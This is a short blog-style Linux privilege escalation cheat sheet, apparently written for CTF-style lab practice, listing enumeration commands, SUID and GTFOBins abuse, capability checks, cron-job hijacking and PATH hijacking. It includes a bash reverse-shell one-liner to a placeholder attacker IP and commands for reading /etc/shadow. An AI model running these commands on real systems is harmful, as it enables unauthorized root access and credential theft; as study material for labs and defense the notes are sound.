Simple Linux Privilege Escalation Cheat Sheet
2 min readMar 11, 2023
These commands help us to enumarate the linux machine.
- hostname
- cat /proc version
- cat /etc/issue
- uname -a
- ps
- env
- sudo -l
- cat /etc/passwd and /etc/shadow
- history
- ifconfig
- netstat
- getcap
- cat /etc/crontab
- ip a s (ip address show)
find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory
find / -type f -perm 0777: find files with the 777 permissions
find / -mtime 10: find files that were modified in the last 10 days
find / -writable 2>/dev/null: Writable Folders
Automated Enumaration Tools:
Kernel Exploit
The Kernel exploit methodology;
- Find the kernel version
- Search for the exploit for the kernel version.
- Execute the exploit.
Sudo
- Look for application that allows us to run with root privileges (sudo -l)
- Look at the https://gtfobins.github.io/ for exploits
SUID
- “find / -type f -perm -04000 -ls 2>/dev/null” will list the files that have SUID or SGID bits set.
- Look to GTFOBins.
- Example: If nano has SUID bit set, “nano /etc/shadow” command will print the contens of /etc/shadow
Capabilities
- We can use the “getcap” tool to list enabled capabilities. → getcap -r /
- Look at the GTFOBins.
Cron Jobs
- Our goal is to find a cron job that is created by root and change it to run our script for getting a shell.
- Ex: if some python files are running as cron jobs, we can edit that file to give us root shell.
- #!bin/bash
bash -i >& /dev/tcp/<IP of Attacker/<Port to Listen> 0>&1 (open a listener on host machine)
PATH
- Let’s look what folders are located under $PATH → echo $PATH
- Can we have the privilege to write that folder? → find / -writable 2>/dev/null | cut -d “/” -f 2 | sort -u
- Let’s say we can write to the tmp/ folder. → export PATH=/tmp:$PATH
- Let’s create a root shell file located at /tmp → echo “/bin/bash” > FILE
- Make that file readible, writable and executable for all users → chmod 777 FILE.
- If user1 executes this file, we have user1’s shell. If root executes, we r gonna have root shell.